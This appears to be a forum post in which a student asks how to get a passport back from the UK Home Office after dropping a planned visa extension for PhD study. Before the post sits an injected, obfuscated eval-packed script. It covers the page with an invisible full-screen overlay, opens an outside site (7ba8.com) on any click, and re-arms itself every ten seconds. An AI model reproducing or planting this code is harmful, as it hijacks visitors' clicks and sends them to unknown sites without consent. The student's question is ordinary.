Help, Help, Help

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>Hi, guys and girls. Recently,I am getting in a sea trouble that I post my passport and other required documents to Home Office to renew my Visa and asked for a 3 yrs stay extension in UK for sake of going to do a 3-yr PHD study. But now, I decided not to do PHD and want to go back to China ASAP in stead. who can tell me how to contact Home Office in order to get my passport back immdiately? Here I have to point out I tried to contact them by Tel and email so many times,but nobody replies my email and the Tel always couldn't be got through. If anyone experienced the same thing or have some idea on how to sort it out, pls give me a hand.
Thank u very much indeed and hope more people can give me a reply.